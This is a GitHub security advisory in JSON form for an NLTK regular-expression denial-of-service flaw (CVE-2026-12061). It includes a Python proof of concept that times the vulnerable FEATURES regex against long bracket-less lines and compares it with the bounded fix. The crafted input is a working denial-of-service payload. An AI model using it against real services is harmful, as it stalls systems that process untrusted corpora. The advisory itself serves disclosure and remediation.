CVE-2026-12061: Natural Language Toolkit (NLTK) Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fg7f-2386-8897",
  "modified" : "2026-07-31T16:51:09Z",
  "published" : "2026-07-31T16:51:09Z",
  "aliases" : [ "CVE-2026-12061" ],
  "summary" : "Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex",
  "details" : "### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -> {a}\")\n    print(f\"  bounded   regex  -> {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.9.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T16:51:09Z",
    "nvd_published_at" : "2026-06-15T20:16:34Z"
  }
}